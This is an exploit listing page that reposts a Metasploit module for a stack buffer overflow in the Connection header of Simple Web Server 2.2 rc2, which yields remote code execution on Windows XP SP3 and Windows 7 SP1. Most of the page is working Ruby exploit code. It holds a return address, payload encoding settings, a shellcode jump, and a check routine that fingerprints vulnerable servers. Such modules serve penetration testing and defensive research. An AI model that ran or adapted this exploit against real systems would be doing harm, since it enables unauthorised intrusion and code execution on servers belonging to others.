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Simple Web Server Connection Header Buffer Overflow

Simple Web Server Connection Header Buffer Overflow
Posted Jul 23, 2012
Authored by mr.pr0n, juan | Site metasploit.com

This Metasploit module exploits a vulnerability in Simple Web Server 2.2 rc2. A remote user can send a long string data in the Connection Header to cause an overflow on the stack when function vsprintf() is used, and gain arbitrary code execution. The module has been tested successfully on Windows 7 SP1 and Windows XP SP3.

tags | exploit, remote, web, overflow, arbitrary, code execution
systems | windows, xp, 7
MD5 | d8d2ec005f962860b2da889da4d291c1

Simple Web Server Connection Header Buffer Overflow

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##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking

HttpFingerprint = { :pattern => [ /PMSoftware-SWS/ ] }

include Msf::Exploit::Remote::HttpClient

def initialize(info={})
super(update_info(info,
'Name' => "Simple Web Server Connection Header Buffer Overflow",
'Description' => %q{
This module exploits a vulnerability in Simple Web Server 2.2 rc2. A remote user
can send a long string data in the Connection Header to causes an overflow on the
stack when function vsprintf() is used, and gain arbitrary code execution. The
module has been tested successfully on Windows 7 SP1 and Windows XP SP3.
},
'License' => MSF_LICENSE,
'Author' =>
[
'mr.pr0n', # Vulnerability Discovery and PoC
'juan' # Metasploit module
],
'References' =>
[
['EDB', '19937'],
['URL', 'http://ghostinthelab.wordpress.com/2012/07/19/simplewebserver-2-2-rc2-remote-buffer-overflow-exploit/']
],
'Payload' =>
{
'BadChars' => "\x00\x0a\x0d",
'Space' => 2048,
'DisableNops' => true,
'PrependEncoder' => "\x81\xC4\x60\xF0\xFF\xFF", # add esp, -4000
},
'DefaultOptions' =>
{
'EXITFUNC' => "process",
},
'Platform' => 'win',
'Targets' =>
[
[
'SimpleWebServer 2.2-rc2 / Windows XP SP3 / Windows 7 SP1',
{
'Ret' => 0x6fcbc64b, # call edi from libstdc++-6.dll
'Offset' => 2048,
'OffsetEDI' => 84
}
]
],
'Privileged' => false,
'DisclosureDate' => "Jul 20 2012",
'DefaultTarget' => 0))
end

def check
res = send_request_raw({'uri'=>'/'})
if res and res.headers['Server'] =~ /PMSoftware\-SWS\/2\.[0-2]/
return Exploit::CheckCode::Vulnerable
end

return Exploit::CheckCode::Safe
end

def exploit

sploit = payload.encoded
sploit << rand_text(target['Offset'] - sploit.length)
sploit << [target.ret].pack("V") # eip
sploit << rand_text(target['OffsetEDI'])
sploit << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-#{sploit.length}").encode_string

print_status("Trying target #{target.name}...")

connect

send_request_cgi({
'uri' => '/',
'version' => '1.1',
'method' => 'GET',
'connection' => sploit
})

disconnect

end
end
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